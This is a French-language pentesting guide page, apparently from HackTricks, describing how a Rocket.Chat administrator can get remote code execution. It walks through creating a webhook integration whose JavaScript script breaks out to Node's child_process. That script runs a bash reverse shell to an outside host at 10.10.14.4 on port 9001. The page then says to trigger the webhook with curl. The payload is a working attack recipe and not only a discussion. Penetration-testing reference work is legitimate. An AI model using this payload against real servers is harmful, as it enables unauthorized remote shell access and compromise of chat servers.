hacktricks/network-services-pentesting/pentesting-web/rocket-chat.md

30 lines
1.5 KiB
Markdown
Raw Normal View History

## RCE
2023-06-03 13:10:46 +00:00
Si vous êtes administrateur dans Rocket Chat, vous pouvez obtenir une RCE.
2023-06-03 13:10:46 +00:00
* Allez dans **`Intégrations`** et sélectionnez **`Nouvelle intégration`** et choisissez n'importe laquelle : **`Incoming WebHook`** ou **`Outgoing WebHook`**.
* `/admin/integrations/incoming`
<figure><img src="../../.gitbook/assets/image (4) (2).png" alt=""><figcaption></figcaption></figure>
2023-06-03 13:10:46 +00:00
* Selon la [documentation](https://docs.rocket.chat/guides/administration/admin-panel/integrations), les deux utilisent ES2015 / ECMAScript 6 ([essentiellement JavaScript](https://codeburst.io/javascript-wtf-is-es6-es8-es-2017-ecmascript-dca859e4821c)) pour traiter les données. Alors, obtenons un [shell inversé pour javascript](../../generic-methodologies-and-resources/shells/linux.md#nodejs) comme suit :
```javascript
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
```
2023-06-03 13:10:46 +00:00
* Configurez le WebHook (le canal et le nom d'utilisateur du message doivent exister) :
<figure><img src="../../.gitbook/assets/image (1) (8).png" alt=""><figcaption></figcaption></figure>
2023-06-03 13:10:46 +00:00
* Configurez le script WebHook :
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2023-06-03 13:10:46 +00:00
* Enregistrez les modifications
* Obtenez l'URL WebHook générée :
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
2023-06-03 13:10:46 +00:00
* Appelez-le avec curl et vous devriez recevoir le shell inversé